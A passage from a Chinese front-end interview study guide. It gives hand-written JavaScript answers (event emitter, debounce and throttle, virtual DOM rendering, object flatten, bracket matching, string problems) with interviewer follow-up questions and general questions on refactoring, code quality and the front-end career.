  constructor() {
    this.events = {};
  }
  // 实现订阅
  on(type, callBack) {
    if (!this.events[type]) {
      this.events[type] = [callBack];
    } else {
      this.events[type].push(callBack);
    }
  }
  // 删除订阅
  off(type, callBack) {
    if (!this.events[type]) return;
    this.events[type] = this.events[type].filter((item) => {
      // item.fn 是 once 包装前的原回调,让 off(type, 原回调) 也能删掉
      return item !== callBack && item.fn !== callBack;
    });
  }
  // 只执行一次订阅事件
  once(type, callBack) {
    // 箭头函数,this 指向实例
    const fn = (...rest) => {
      this.off(type, fn);
      callBack.apply(this, rest); // 参数透传
    };
    fn.fn = callBack;
    this.on(type, fn);
  }
  // 触发事件
  emit(type, ...rest) {
    // 遍历快照,回调里 off 不会让遍历跳过下一个
    this.events[type] &&
      [...this.events[type]].forEach((fn) => fn.apply(this, rest));
  }
}
// 使用如下
const event = new EventEmitter();

const handle = (...rest) => {
  console.log(rest);
};

event.on("click", handle);

event.emit("click", 1, 2, 3, 4);

event.off("click", handle);

event.emit("click", 1, 2);

event.once("dbClick", () => {
  console.log(123456);
});
event.emit("dbClick");
event.emit("dbClick");

💬 面试官追问

  • once 注册的回调,用户想在触发前手动 off(type, fn) 掉,删得掉吗?

    直接 filter(item => item !== fn) 删不掉,因为存进去的是 wrapper。在 wrapper 上挂 wrapper.fn = fn,off 时判断 item !== fn && item.fn !== fn 就行,Node 的 EventEmitter 也是这么做的。

  • 同一个事件注册了三个回调,第一个回调里 off 掉了自己,第二个没执行,为什么?

    forEach 遍历的是原数组,off 用 filter 换了新数组倒还好,如果用 splice 原地删,索引前移就跳过了第二个。最稳的写法是 emit 时 [...list].forEach(...),遍历快照。

  • 某个回调抛错了,后面的回调还执行吗?

    按上面的写法不执行,异常会直接冒到 emit 调用方。看场景决定:事件总线我一般每个回调 try/catch 包起来,报错上报但不影响其他订阅者。

  • Vue 3 里还能用 new Vue() 当 EventBus 吗?

    不能,Vue 3 移除了实例上的 $on、$off、$once。官方建议用 mitt 这类小库,或者就用这题手写的这个类,也就几十行。

  • 页面里用事件总线通信,切了几次路由发现回调执行了好几遍,怎么回事?

    组件挂载时 on 了,卸载时没 off,每次进页面都多登记一个。在 onUnmounted 或 useEffect 的清理函数里 off,on 最好直接返回一个取消函数,用起来不容易忘。

# 23 手写-防抖节流(京东)

⚡ 30 秒速记

  • 防抖:每次触发都 clearTimeout 重新计时,停手 wait 毫秒后才执行 → 搜索联想、窗口 resize 结束
  • 节流:一个 wait 窗口内最多执行一次 → 滚动加载、拖拽、高频埋点
  • 返回普通 function 并用 fn.apply(this, args),不然 this 和参数都丢
  • 节流两种:时间戳版首次立刻执行、末次会丢;定时器版首次延迟、末次保留;要首尾都有就结合
  • 加分项:防抖 immediate、cancel 方法;React 里要配合 useRef/useMemo,否则每次渲染都是新的防抖函数

防抖是「等你停下来再执行」,节流是「不管你多快,我固定节奏执行」。 比如搜索框,用户连续打字时每次都重新计时,停手 300ms 再发请求,这是防抖;滚动加载每 200ms 最多检查一次位置,这是节流。手写时要返回普通函数并用 apply 透传 this 和参数。节流常见的手写错误是 timer 没声明,严格模式下直接 ReferenceError,或者返回箭头函数,参数和 this 都没传给 fn。

// 防抖
function debounce(fn, delay = 300) {
  //默认300毫秒
  let timer;
  return function () {
    const args = arguments;
    if (timer) {
      clearTimeout(timer);
    }
    timer = setTimeout(() => {
      fn.apply(this, args); // 改变this指向为调用debounce所指的对象
    }, delay);
  };
}
// 测试
window.addEventListener(
  "scroll",
  debounce(() => {
    console.log(111);
  }, 1000)
);

// 节流
// 设置一个标志
function throttle(fn, delay) {
  let flag = true;
  return () => {
    if (!flag) return;
    flag = false;
    timer = setTimeout(() => {
      fn();
      flag = true;
    }, delay);
  };
}

window.addEventListener(
  "scroll",
  throttle(() => {
    console.log(111);
  }, 1000)
);

上面的节流版本有两个问题:timer = setTimeout(...) 没有声明变量,模块代码默认严格模式会直接报错;返回箭头函数导致事件对象和 this 都没传给 fn。下面是首尾都会执行的节流:

function throttle(fn, wait = 200) {
  let last = 0
  let timer = null
  return function (...args) {
    const now = Date.now()
    const remaining = wait - (now - last)
    if (remaining <= 0) {
      // 距离上次执行已过 wait:立即执行(保证首次)
      clearTimeout(timer)
      timer = null
      last = now
      fn.apply(this, args)
    } else if (!timer) {
      // 窗口内:挂一个定时器在窗口结束时补执行(保证末次)
      timer = setTimeout(() => {
        last = Date.now()
        timer = null
        fn.apply(this, args)
      }, remaining)
    }
  }
}

function debounce(fn, wait = 300, immediate = false) {
  let timer = null
  function debounced(...args) {
    const callNow = immediate && !timer
    clearTimeout(timer)
    timer = setTimeout(() => {
      timer = null
      if (!immediate) fn.apply(this, args)
    }, wait)
    if (callNow) fn.apply(this, args)
  }
  debounced.cancel = () => { clearTimeout(timer); timer = null }
  return debounced
}

一句话记忆:防抖看「最后一次」,节流看「固定频率」。

💬 面试官追问

  • 搜索框用了防抖,但还是偶尔显示的是旧关键词的结果,为什么?

    防抖只减少请求次数,管不了响应顺序,先发的请求可能后回来。用 AbortController 取消上一个请求,或者给每次请求编号,只渲染最后一次的结果。

  • React 组件里写 const onSearch = debounce(fetchList, 300),防抖完全没效果,为什么?

    每次渲染都重新创建了一个防抖函数,内部的 timer 也是新的,上一次的计时根本清不掉。用 useMemo(() => debounce(fn, 300), []) 或 useRef 存起来,卸载时调 cancel。

  • 滚动到底加载更多,用防抖还是节流?

    节流。防抖要等用户停下才触发,快速滑到底的过程中一直不加载,体验很差。其实这种场景更推荐 IntersectionObserver 监听底部哨兵元素,连滚动事件都不用绑。

  • 按钮防重复提交,用防抖可以吗?

    能挡一部分,但不靠谱,用户等 wait 之后再点还是会提交。正经做法是请求发出就把按钮 disabled,回来再恢复,后端再做幂等。

  • 节流时间戳版和定时器版,用户最后一次操作的效果有什么不同?

    时间戳版在窗口内的最后一次触发会被丢掉,比如拖拽最后停的位置可能没同步;定时器版会在窗口结束时补执行一次。拖拽、滚动同步位置这类场景要首尾都保证,用两者结合的版本。

# 24 将虚拟 Dom 转化为真实 Dom(类似的递归题-必考)

⚡ 30 秒速记

  • 递归三步:createElement(tag) → 设置属性 → 遍历 children 递归渲染并 appendChild
  • 数字先转字符串,字符串用 document.createTextNode,别当元素处理
  • 属性分开处理:className、style 对象、onXxx 事件用 addEventListener,其余才 setAttribute
  • children 可能不存在,先 (vnode.children || []) 兜底
  • 大量节点先挂到 DocumentFragment 再一次插入;往下聊就是 diff 和 key

虚拟 DOM 转真实 DOM 就是一个递归:按 tag 建元素、把属性设上去、子节点递归渲染后挂进来。 很多人属性全用 setAttribute 处理,这太粗了:onClick 传进去的是函数,setAttribute 会把它转成字符串,事件根本不生效;style 如果是对象也会变成 [object Object]。我一般会分三类处理:事件用 addEventListener,style 用 Object.assign(el.style, value),其余才 setAttribute。文本和数字节点单独走 createTextNode。

{
  tag: 'DIV',
  attrs:{
  id:'app'
  },
  children: [
    {
      tag: 'SPAN',
      children: [
        { tag: 'A', children: [] }
      ]
    },
    {
      tag: 'SPAN',
      children: [
        { tag: 'A', children: [] },
        { tag: 'A', children: [] }
      ]
    }
  ]
}

把上面的虚拟Dom转化成下方真实Dom

<div id="app">
  <span>
    <a></a>
  </span>
  <span>
    <a></a>
    <a></a>
  </span>
</div>

答案

// 真正的渲染函数
function _render(vnode) {
  // 如果是数字类型转化为字符串
  if (typeof vnode === "number") {
    vnode = String(vnode);
  }
  // 字符串类型直接就是文本节点
  if (typeof vnode === "string") {
    return document.createTextNode(vnode);
  }
  // 普通DOM
  const dom = document.createElement(vnode.tag);
  if (vnode.attrs) {
    // 遍历属性
    Object.keys(vnode.attrs).forEach((key) => {
      const value = vnode.attrs[key];
      dom.setAttribute(key, value);
    });
  }
  // 子数组进行递归操作 这一步是关键
  vnode.children.forEach((child) => dom.appendChild(_render(child)));
  return dom;
}

💬 面试官追问

  • attrs 里传了 { onClick: handler },用 setAttribute 设上去点了没反应,为什么?

    setAttribute 会把函数转成字符串,变成 onclick="function handler() {...}",里面引用的闭包变量全丢了。判断 key.startsWith('on'),截出事件名小写后 addEventListener。

  • input 的 value 用 setAttribute('value', x) 设,用户输入后再更新就不变了,为什么?

    setAttribute 改的是 attribute,也就是默认值;用户输入后显示的是 property。value、checked 这类要直接 el.value = x,框架里也是专门区分 prop 和 attr 的。

  • 树特别深,比如 10000 层,递归会出什么事?

    可能栈溢出,报 Maximum call stack size exceeded。改成手动维护一个栈的迭代写法,存 [vnode, parentDom] 成对出栈处理。实际业务里 DOM 不会这么深,但面试可能这么追。

  • 为什么不直接拼 HTML 字符串再 innerHTML?

    拼字符串要自己转义,用户内容里带 <script> 或 onerror 就是 XSS;而且事件函数没法序列化。createElement + createTextNode 天然不会被解析成标签。

  • 框架为什么不每次都整棵重新渲染,而要做 diff?

    整棵重建会丢掉输入框焦点、滚动位置、组件状态,而且 DOM 操作贵。diff 找出最小变更只改差异部分,key 是让它在列表里认出「这是同一个节点」。

# 25 手写-实现一个对象的 flatten 方法(阿里)

⚡ 30 秒速记

  • 递归 + 路径前缀:对象用 prefix.key,数组用 prefix[i],碰到基本类型就落到结果里
  • 判断对象写 typeof v === 'object' && v !== null,null 不能往下递归
  • 空对象、空数组没子项,按上面的写法会直接消失,要保留就 res[prefix] = {} / []
  • Date、RegExp 也是 object,一般当叶子值处理,不然会被拍成空
  • 反向 unflatten:按 . 和 [] 拆路径逐层建对象,常考配套

对象拍平就是深度遍历,一路把访问路径拼成键,走到基本类型就把「路径: 值」写进结果。 比如 { a: { b: 1 }, c: [2] } 拍完是 { 'a.b': 1, 'c[0]': 2 }。递归时要判断当前值是对象还是数组,对象用点号拼、数组用方括号拼;null 的 typeof 也是 object,要单独排掉,不然 for...in 遍历它不报错但会把这个键整个弄丢。还有个容易漏的信息丢失:空对象、空数组没有子项,结果里直接没了,业务上需要保留时要补一个判断。

题目描述

const obj = {
 a: {
      b: 1,
      c: 2,
      d: {e: 5}
    },
 b: [1, 3, {a: 2, b: 3}],
 c: 3
}

flatten(obj) // 结果返回如下
// {
//  'a.b': 1,
//  'a.c': 2,
//  'a.d.e': 5,
//  'b[0]': 1,
//  'b[1]': 3,
//  'b[2].a': 2,
//  'b[2].b': 3
//   c: 3
// }

答案

function isObject(val) {
  return typeof val === "object" && val !== null;
}

function flatten(obj) {
  if (!isObject(obj)) {
    return;
  }
  let res = {};
  const dfs = (cur, prefix) => {
    if (isObject(cur)) {
      if (Array.isArray(cur)) {
        cur.forEach((item, index) => {
          dfs(item, `${prefix}[${index}]`);
        });
      } else {
        for (let k in cur) {
          dfs(cur[k], `${prefix}${prefix ? "." : ""}${k}`);
        }
      }
    } else {
      res[prefix] = cur;
    }
  };
  dfs(obj, "");

  return res;
}
flatten();

💬 面试官追问

  • { a: {}, b: [] } 用你的 flatten 结果是什么?

    按上面的写法是 {},两个键全没了,因为没有子项可遍历,res[prefix] 从来没被赋值。要保留就加一句:对象或数组为空时 res[prefix] = cur。

  • 对象里有个 createdAt: new Date(),拍平后变成什么?

    Date 的 typeof 是 object,for...in 遍历不到可枚举属性,结果这个键就没了。叶子判断改成 Object.prototype.toString.call(v) === '[object Object]' || Array.isArray(v) 才递归,其他对象当值处理。

  • 对象有循环引用,比如 obj.self = obj,会怎样?

    无限递归直到栈溢出。用一个 WeakSet 记录访问过的对象,再次遇到就跳过或写个 '[Circular]' 占位。

  • 键名本身带点,比如 { 'a.b': { c: 1 } },拍平有什么问题?

    得到 'a.b.c',和 { a: { b: { c: 1 } } } 的结果一模一样,unflatten 回不去了。真要无歧义就对键名转义,或者用 a["a.b"] 这种方括号写法。

  • 这东西实际用在哪?

    表单库的字段路径(antd 的 name={['user', 'address']} 背后就是路径)、埋点上报时把嵌套参数打平成一层、配置中心按点号路径做覆盖合并。

# 26 手写-判断括号字符串是否有效(小米)

⚡ 30 秒速记

  • 栈:左括号入栈,右括号看栈顶是否配对,不配对直接 false
  • 遍历完栈必须为空,否则有没闭合的左括号
  • 映射表写成「右 → 左」:{ ')': '(', ']': '[', '}': '{' },判断更集中
  • 长度为奇数直接 false;时间 O(n),空间 O(n)
  • 上面写法遇到右括号开头时 pop() 返回 undefined,靠 regObj[undefined] 碰巧对上 false,能跑但别学

括号匹配是栈的教科书题:后打开的括号必须先关闭,正好是后进先出。 遍历字符串,左括号压栈,碰到右括号就弹出栈顶看是不是对应的左括号,对不上马上返回 false。全部走完栈还不空,说明有左括号没闭合,也是 false。比如 "([)]",读到 ) 时栈顶是 [,直接判错。我习惯把映射表写成右括号映射到左括号,碰到右括号查一次表就知道该期待什么。

题目描述

给定一个只包括 '(',')','{','}','[',']' 的字符串 s ,判断字符串是否有效。

有效字符串需满足:
- 左括号必须用相同类型的右括号闭合。
- 左括号必须以正确的顺序闭合。

示例 1:

输入:s = "()"
输出:true

示例 2:

输入:s = "()[]{}"
输出:true

示例 3:

输入:s = "(]"
输出:false

答案

const isValid = function (s) {
  if (s.length % 2 === 1) {
    return false;
  }
  const regObj = {
    "{": "}",
    "(": ")",
    "[": "]",
  };
  let stack = [];
  for (let i = 0; i < s.length; i++) {
    if (s[i] === "{" || s[i] === "(" || s[i] === "[") {
      stack.push(s[i]);
    } else {
      const cur = stack.pop();
      if (s[i] !== regObj[cur]) {
        return false;
      }
    }
  }

  if (stack.length) {
    return false;
  }

  return true;
};

💬 面试官追问

  • "((" 和 "))" 你的代码分别怎么判?

    "((" 遍历完栈里剩两个,返回 false;"))" 第一个 ) 时栈是空的,pop() 拿到 undefined,对不上,返回 false。空栈时最好显式判断一下,别靠 undefined 碰巧对不上。

  • 只有一种括号 () 的话,还需要栈吗?

    不需要,一个计数器就够:左括号加一、右括号减一,中途小于 0 就无效,最后等于 0 有效,空间降到 O(1)。多种括号要知道「最近一个没闭合的是谁」,才需要栈。

  • 字符串里混着字母,比如 "a(b[c]d)e",怎么改?

    非括号字符直接跳过。写法上先判断是不是左括号、是不是右括号,都不是就 continue。这时候奇数长度提前返回的优化就不能用了。

  • 这个思路在前端哪里用得到?

    校验模板或表达式语法、编辑器的括号高亮匹配、简单的 HTML 标签闭合检查(把开始标签当左括号),都是同一个栈模型。

  • 进阶:求最长有效括号子串的长度,怎么想?

    栈里存下标,先压一个 -1 当边界。左括号压下标;右括号先弹,弹完栈空就把当前下标压进去当新边界,不空就用 i - stack.at(-1) 更新最大值,一次遍历 O(n)。

# 27 手写-查找数组公共前缀(美团)

⚡ 30 秒速记

  • 纵向扫描:以第一个字符串为基准,逐位比较所有字符串,不一致或越界就返回前面那段
  • 先处理边界:空数组返回 '',单个元素返回它本身
  • 取巧:排序后只比较首尾两个,字典序最远的两个决定公共前缀,但排序要 O(n log n)
  • 复杂度 O(S),S 是所有字符串字符总数,最坏每个字符都比一次
  • 上面写法每轮 slice + startsWith,等于反复比较前缀,最坏到 O(m²·n),直接比 str[i] 更好

这题我用纵向扫描:拿第一个字符串当尺子,一位一位往后比,只要有一个字符串在这一位不同或已经到头,前面那段就是答案。 比如 ["flower", "flow", "flight"],第 0 位都是 f,第 1 位都是 l,第 2 位出现 o 和 i 不同,返回 "fl"。边界别漏:传空数组时 strs[0] 是 undefined,读 .length 直接报错,开头要补 if (!strs.length) return ''。另外别每轮都 slice 再 startsWith,前缀会被重复比较,直接比单个字符就行。

题目描述

编写一个函数来查找字符串数组中的最长公共前缀。
如果不存在公共前缀,返回空字符串 ""。

示例 1:

输入:strs = ["flower","flow","flight"]
输出:"fl"

示例 2:

输入:strs = ["dog","racecar","car"]
输出:""
解释:输入不存在公共前缀。

答案

const longestCommonPrefix = function (strs) {
  const str = strs[0];
  let index = 0;
  while (index < str.length) {
    const strCur = str.slice(0, index + 1);
    for (let i = 0; i < strs.length; i++) {
      if (!strs[i] || !strs[i].startsWith(strCur)) {
        return str.slice(0, index);
      }
    }
    index++;
  }
  return str;
};

💬 面试官追问

  • 传一个空数组进来,上面的代码会怎样?

    strs[0] 是 undefined,str.length 直接 TypeError。开头加一句 if (!strs.length) return ''。

  • 排序后只比首尾两个,为什么是对的?

    字典序排完,第一个和最后一个是差得最远的两个,中间任何字符串都夹在它俩之间,它俩的公共前缀一定也是所有字符串的公共前缀。写起来短,但排序本身是 O(n log n) 次比较,不一定比纵向扫描快。

  • 数组有 10 万个字符串,但前缀通常很短,哪种方法更快?

    纵向扫描。它在第一个不一致的位置就停了,前缀短的话几乎只看了每个字符串的前几位;横向扫描至少要把每个字符串都处理一遍。

  • 输入框做命令补全,要频繁查「以这个前缀开头的有哪些」,还这么写吗?

    不这么写了,这种场景建一棵 Trie 前缀树,查询只和前缀长度有关。公共前缀也能从 Trie 上直接读:从根往下走,只要节点只有一个孩子且不是单词结尾就继续。

  • 能用二分吗?

    能。对前缀长度在 [0, minLen] 上二分,每次检查所有字符串是否都以 str.slice(0, mid) 开头。复杂度 O(S·log m),面试写纵向扫描就够了,二分说出来是个加分。

# 28 手写-字符串最长的不重复子串

⚡ 30 秒速记

  • 滑动窗口:右指针一直往前扩,碰到重复字符就把左指针收到重复位置后一位
  • Map 记每个字符最后出现的下标,一次遍历 O(n)
  • 关键:left = Math.max(left, map.get(c) + 1),左指针只能往右走
  • 每步更新 max = Math.max(max, right - left + 1)
  • 上面用 slice + indexOf 在窗口里找重复,最坏 O(n·k),k 是窗口长度,能过但不是最优

这题是滑动窗口的模板:窗口里始终保持没有重复字符,右边界一路扩,碰到重复就把左边界收到上次出现位置的后面。 用 Map 记每个字符最后一次出现的下标,碰到重复时左指针直接跳过去,不用一格一格挪,所以整体 O(n)。最容易错的是 abba 这种:走到最后的 a 时,它上次出现在下标 0,但左指针已经因为 b 跳到 2 了,如果不取 Math.max,左指针会倒退回 1,窗口里就混进了重复的 b。

题目描述

给定一个字符串 s ,请你找出其中不含有重复字符的 最长子串 的长度。


示例 1:

输入: s = "abcabcbb"
输出: 3
解释: 因为无重复字符的最长子串是 "abc",所以其长度为 3。

示例 2:

输入: s = "bbbbb"
输出: 1
解释: 因为无重复字符的最长子串是 "b",所以其长度为 1。

示例 3:

输入: s = "pwwkew"
输出: 3
解释: 因为无重复字符的最长子串是 "wke",所以其长度为 3。
     请注意,你的答案必须是 子串 的长度,"pwke" 是一个子序列,不是子串。

示例 4:

输入: s = ""
输出: 0

答案

const lengthOfLongestSubstring = function (s) {
  if (s.length === 0) {
    return 0;
  }

  let left = 0;
  let right = 1;
  let max = 0;
  while (right <= s.length) {
    let lr = s.slice(left, right);
    const index = lr.indexOf(s[right]);

    if (index > -1) {
      left = index + left + 1;
    } else {
      lr = s.slice(left, right + 1);
      max = Math.max(max, lr.length);
    }
    right++;
  }
  return max;
};

# 十、前端综合问题

💬 面试官追问

  • "abba" 你的代码返回几?左指针怎么走的?

    返回 2。到第二个 b(下标 2)时 left 跳到 2;到最后的 a 时,map.get('a') + 1 是 1,比当前 left 小,Math.max 保住 left = 2,窗口是 "ba"。不加 Math.max 会得到 3,错。

  • 要返回最长子串本身,不只是长度,怎么改?

    更新 max 的同时记下 start = left,最后 s.slice(start, start + max)。不用额外的空间。

  • 字符串里有 emoji,比如 "😀😀",结果对吗?

    不对。emoji 在 JS 里是两个 UTF-16 码元,按下标遍历会被拆开,"😀😀" 会算出 2。先 Array.from(s) 按码点拆成数组再跑窗口。

  • 只有小写字母的话,Map 能换成什么?

    一个长度 26 的数组,下标是 c.charCodeAt(0) - 97,初始值 -1。常数更小,空间也固定。

  • 还有哪些题是同一个套路?

    最多包含 k 个不同字符的最长子串、最小覆盖子串、字符串的排列。共同点都是「找满足条件的最长或最短连续区间」,右指针扩、左指针在条件被破坏时收缩。

# 1 谈谈你对重构的理解

⚡ 30 秒速记

  • 定义:不改外部可观察行为,只改内部结构;行为变了那叫改需求,不叫重构
  • 前提是有保护网:单测、E2E 或截图对比,没有测试的大改更像重写
  • 时机:加功能前顺手整理、修缺陷时清理周边、同一个坑被踩第三次
  • 前端常见手法:拆大组件、抽自定义 Hook、状态下沉或提升、统一样式方案、删死代码
  • 原则:小步提交、每步可上线可回滚;收益要说得出来,别为了重构而重构

重构就是在不改变功能的前提下改代码的内部结构,用户感知不到变化,但下次改需求会轻松很多。 打个比方,就是房子住着人的时候整理管线,水电不能停。所以我做重构有两个前提:一是先有测试或截图对比兜底,确保改完行为没变;二是小步走,每一步都能单独上线、单独回滚。时机上我不太提倡专门排期大重构,更常见的是加功能前先把要动的那块理顺,或者修缺陷时顺手把周边的坏味道清掉。

重构是指在不改变外部行为的前提下,对代码、结构、布局或者设计进行优化和改进的过程。在前端开发中,重构通常指对网站或应用程序的前端部分进行优化和改造,以提升性能、可维护性和用户体验。

对于传统的网站来说,重构可以包括以下方面的优化:

  1. 结构优化:将使用表格布局的页面改为使用DIV+CSS布局,使页面结构更加语义化、清晰,并提高页面的可读性和维护性。
  2. 兼容性优化:将网站的前端代码和样式进行调整,使其能够兼容现代浏览器,并修复一些在旧版浏览器中存在的兼容性问题,提升用户体验和页面的可访问性。
  3. 移动优化:针对移动设备的特点和要求,对网站进行优化,如响应式设计或者针对移动设备的单独样式和布局,以提供更好的移动端用户体验。
  4. SEO优化:通过优化网站的HTML结构、标签使用、关键词等方面,提升网站在搜索引擎中的排名和可见性,从而增加网站的流量和曝光度。

重构的目标是改进现有代码和结构,使其更加高效、可维护和可扩展,同时保持网站的功能和外观不变。通过重构,可以提升网站的性能和用户体验,减少代码冗余,改善代码质量,并为后续的功能扩展和维护提供更好的基础。

💬 面试官追问

  • 你说重构不改行为,那把 Vue 2 项目迁到 Vue 3 算重构吗?

    广义上大家也叫重构,但严格说它是迁移,依赖、API、构建全换了,风险等级不一样。这种我会拆成很多小步,比如先上 @vue/compat 兼容构建,再按模块逐个迁,每步都能回滚。

  • 一个 2000 行的老组件没有任何测试,要你改,第一步做什么?

    先补保护网,不急着动代码。至少给关键交互写几个 E2E 用例,或者把各个状态截图存档做视觉对比,然后再一小块一小块往外拆。

  • 业务方觉得重构没价值,不给排期,你怎么推?

    不单独要排期,把重构绑在需求里做:要改哪块就先整理哪块,估时的时候带上。再用数据说话,比如这个模块近三个月出了几个线上问题、每次改需求平均多花几天。

  • 重构完上线,发现某个边界场景行为变了,怎么处理?

    先回滚,别在线上边猜边修。然后把这个场景补成测试用例,说明之前保护网漏了,补上再重新发。小步提交的好处就在这,回滚面很小。

  • 怎么判断一段代码值得重构?

    看改动频率和痛感。很少有人碰的烂代码可以先放着;高频改动、每次改都出问题、新人看不懂的,才是优先级最高的。

# 2 什么样的前端代码是好的

⚡ 30 秒速记

  • 好代码是写给人看的:命名准、函数短、早返回少嵌套、没有魔法数字
  • 好改:低耦合高内聚,改一处不牵连一片,依赖方向清楚
  • 抽象克制:重复三次再抽,过早抽象比重复更难改
  • 健壮:空值、加载失败、异常输入都有处理,不吞错误
  • 一致性交给工具:ESLint、Prettier、TypeScript 管住风格和类型,别靠人盯

我判断前端代码好不好,最直接的标准是:一个新人能不能看懂,改一个需求要动几个地方。 看得懂靠命名准确、函数职责单一、控制流平,比如用提前 return 代替三层 if 嵌套;好改靠模块边界清楚,改个按钮样式不该影响到表单校验。另外我很警惕过度抽象,为了「复用」把三个只是长得像的组件合成一个,再塞十个配置项,最后谁都不敢动。风格统一这种事交给 ESLint 和 Prettier,评审精力留给逻辑。

好的前端代码具有以下特点:

  1. 可读性高:代码结构清晰,命名规范,注释清晰明了,易于理解和维护。
  2. 高复用性:代码组织良好,模块化设计,可通过复用组件、函数和样式来减少代码的冗余。
  3. 低耦合性:模块之间相互独立,减少模块之间的依赖,修改一个模块时不会对其他模块造成影响。
  4. 高性能:代码优化,减少不必要的计算和请求,合理使用缓存机制,提高页面加载速度和响应性能。
  5. 可维护性:代码结构清晰,逻辑简洁,易于调试和修改,便于团队协作和后续的功能迭代。
  6. 可靠性:代码经过严格的测试,处理各种异常情况,确保系统的稳定性和可靠性。
  7. 宽容性:能够适应不同浏览器和设备的差异,具有良好的兼容性,确保在各种环境下都能正常运行和展示。
  8. 安全性:防范常见的前端安全漏洞,保护用户信息和系统数据的安全。

此外,好的前端代码还应遵循设计模式的六大原则,包括单一职责原则、开放封闭原则、里氏替换原则、依赖倒置原则、接口隔离原则和迪米特法则,以提高代码的可扩展性、可维护性和可重用性。

综上所述,好的前端代码是可读性高、复用性强、低耦合性、高性能、可维护性和可靠性强的代码,同时符合设计模式的原则。

💬 面试官追问

  • 你说别过度抽象,那什么时候该抽?

    同样的逻辑出现第三次、并且确认它们会一起变的时候。只是长得像、但业务上会各自演化的,宁可重复,比如列表页的筛选栏,订单和商品看着像,需求一来就分叉。

  • 评审时看到一个函数有 5 层 if 嵌套,你会怎么建议?

    先用卫语句把异常和边界情况提前 return 掉,主流程就平了。分支多且按类型区分的,换成映射表 { [type]: handler },加类型时不用再改这个函数。

  • 注释写得越多越好吗?

    不是。代码能表达的「做了什么」不用注释,改了代码注释没改反而误导人。注释留给「为什么这么做」,比如绕过某个浏览器缺陷、某个看起来多余的判断是在兼容老数据。

  • TypeScript 项目里满屏 any,你怎么看?

    等于没用 TS。新代码我会在 ESLint 里开 no-explicit-any 拦住,老代码边改边收;实在拿不到类型的地方用 unknown,强迫使用方先做类型收窄。

  • 你怎么衡量团队整体的代码质量?

    看几个能量化的东西:线上缺陷数和回滚次数、PR 平均评审轮数、新人上手第一个需求要多久。圈复杂度、重复率这种静态指标可以参考,但别当考核指标,容易被刷。

# 3 对前端工程师这个职位是怎么样理解的?它的前景会怎么样

⚡ 30 秒速记

  • 本质:把产品和设计的意图,稳定、高效、可持续地交付到用户屏幕上
  • 能力分层:基础(JS、CSS、浏览器原理)→ 框架与工程化 → 性能体验 → 业务理解
  • 边界在外扩:Node 做 BFF/SSR、跨端(小程序、React Native、Flutter)、可视化、AI 应用
  • 前景要说实话:纯切图和简单 CRUD 在被低代码和 AI 吃掉,复杂交互、性能、工程体系的门槛在提高
  • 答法:别空喊「前景广阔」,说清你往哪个方向深耕

我理解前端工程师是离用户最近的工程师,负责把产品和设计的想法,变成用户真正在用、而且用着顺手的界面。 这里面不只是写页面,还包括首屏多快、弱网下行不行、出了错能不能在监控里定位到。关于前景我会说得实在一点:静态页面、简单表单这类活,现在用 AI 和低代码已经能很快出来,这部分岗位确实在缩;但复杂交互、性能优化、跨端和工程体系建设,对人的要求反而更高。所以我自己的方向是往深做,而不是只追新框架。

前端工程师是负责开发和实现用户界面的程序员。他们在网站和应用程序开发过程中扮演着至关重要的角色,负责将设计师提供的视觉设计转化为具有交互性和响应性的前端界面。以下是我对前端工程师职位的理解:

  1. 实现界面交互:前端工程师通过编写HTML、CSS和JavaScript代码来实现用户界面的交互功能,包括按钮点击、表单提交、页面切换等。
  2. 提升用户体验:前端工程师致力于提供优秀的用户体验,通过优化页面加载速度、响应性能和用户界面设计,提升用户对产品的满意度和使用体验。
  3. 跨平台开发:随着Node.js的发展,前端工程师可以使用JavaScript开发跨平台的应用程序,如桌面应用、移动应用等,扩展了前端工程师的技术领域。
  4. 与团队合作:前端工程师需要与UI设计师、产品经理、后端工程师等团队成员密切合作,理解需求并与他们进行沟通,确保产品的需求能够得到有效地实现。
  5. 页面结构和重构:前端工程师负责设计和构建页面的结构,使其具备良好的可读性和可维护性。他们还会进行页面重构,以提高网站的性能和可访问性。

前端工程师的前景非常广阔。随着移动互联网和Web技术的快速发展,前端技术变得越来越重要。随着新的前端技术和框架的涌现,前端工程师需要不断学习和更新自己的技能,以适应行业的变化。同时,前端工程师对于提高用户体验和产品质量起着关键作用,因此在各个行业都有很高的需求。

随着移动应用、响应式设计和用户体验的重要性不断增加,前端工程师的职业前景将会持续看好。他们将继续在设计和开发过程中扮演重要角色,并为产品的成功做出贡献。

💬 面试官追问

  • 现在 AI 都能直接生成页面了,你觉得前端还有必要招人吗?

    生成一个页面很快,但把它接进真实系统、处理权限、异常、性能和长期维护,还是要人判断。我的看法是会写页面的人少招,能定方案、能兜底质量的人反而更缺。

  • 你说要往深做,具体是哪个方向?

    答的时候要落到一两个方向上,比如性能优化、跨端、可视化或者前端基建,再说说你在这个方向上已经做过什么、接下来打算补哪块。只说「全栈」太泛了。

  • 前端和后端的边界,你觉得在哪?

    按职责分,不按语言分。用 Node 写 BFF 做接口聚合、给页面裁剪数据,这是前端的延伸;真正的业务数据和事务一致性,还是后端的事。

  • 三年后你希望自己在团队里是什么角色?

    别说「技术专家」这种空词,说具体点,比如能独立负责一条业务线的前端架构、能把团队的构建速度或线上稳定性做一个量级的提升。

  • 你觉得一个优秀的前端和普通前端最大的差距在哪?

    遇到问题能不能定位到根因。普通前端看到页面卡就加防抖,优秀的会打开 Performance 面板找到底是哪段长任务,然后决定改代码还是改方案。

# 4 你觉得前端工程的价值体现在哪

⚡ 30 秒速记

  • 用户侧:首屏速度和交互流畅度直接影响留存和转化,前端是体验的最后一公里
  • 业务侧:离用户最近、改动成本最低,最适合快速试错,A/B 实验多数落在前端
  • 工程侧:组件库、脚手架、CI/CD、监控把整个团队的交付效率拉上去
  • 增长侧:SSR、SSG 影响 SEO 和首屏,直接关系到获客
  • 答题要带结果:「做了什么 → 指标从多少到多少」,别只说「提升了体验」

前端工程的价值,一句话就是把体验和效率做成可以量化的结果。 对用户,是页面打开快、操作不卡、出错有兜底,这些直接影响留存和转化;对团队,是组件库、脚手架、自动化发布和监控,让一个新页面从几天缩到半天,线上问题能在几分钟里定位。面试时我会挑自己做过的一件事讲,比如某个页面 LCP 从多少降到多少、配套的转化指标有没有变化,比泛泛说「提升用户体验」有说服力得多。

前端工程的价值在于以下几个方面:

  1. 用户体验优化:前端工程师通过优化用户界面和交互设计,提供良好的用户体验,使用户能够轻松、高效地使用产品。他们关注用户界面的可用性、易用性和可访问性,确保用户能够舒适地与产品进行交互。
